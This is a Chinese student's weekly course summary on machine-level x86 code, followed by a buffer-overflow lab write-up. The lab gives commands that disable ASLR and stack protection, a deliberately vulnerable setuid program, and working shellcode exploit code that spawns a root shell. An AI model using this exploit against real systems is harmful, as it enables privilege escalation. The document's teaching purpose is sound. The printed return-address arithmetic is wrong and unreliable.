2018-2019-1 20165231《信息安全系统设计基础》第三周学习总结

教材学习内容总结

第三章程序的机器级表示

第一代处理器芯片：8086
第一代超线程处理器芯片：Pentium 4E

程序编码

假设有x1.c和x2.c两个程序，使用命令gcc -Og -o x x1.c x2.c编译

数据格式

访问信息

整数寄存器

操作数指示符

数据传输指令

压入和弹出栈数据

缓冲区漏洞溢出实验

实验准备

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。输入命令安装一些用于编译 32 位 C 程序的软件包：
$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

初始设置

使用以下命令关闭地址空间随机化：$ sudo sysctl -w kernel.randomize_va_space=0

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这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

漏洞程序

在 /tmp 目录下新建一个 stack.c 文件：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

编译该程序，并设置 SET-UID。命令如下：
$ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

攻击程序

新建一个 exploit.c 文件

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

进行gdb调试
$ gdb stack

$ disass main

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd420(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
现在修改exploit.c文件！将 \x??\x??\x??\x?? 修改为\xc4\xd0\xff\xff

编译 exploit.c 程序：$ gcc -m32 -o exploit exploit.c

先运行攻击程序 exploit，再运行漏洞程序 stack

whoami 是输入的命令，不是输出结果。

通过攻击，获得了root 权限！

练习

通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

代码调试中的问题和解决过程

教材中代码调试有问题先去https://shimo.im/doc/1i1gldfsojIFH8Ip/看看，如果别人没有提出相同问题，可以编辑文档添加，然后把自己提出的问题复制到下面：

问题1：虚拟机崩溃了！
问题1解决方案：不要用虚拟机做这个漏洞实验！
问题2：出现攻击实验段错误提示
问题2解决方案：重新使用 gdb 反汇编，计算内存地址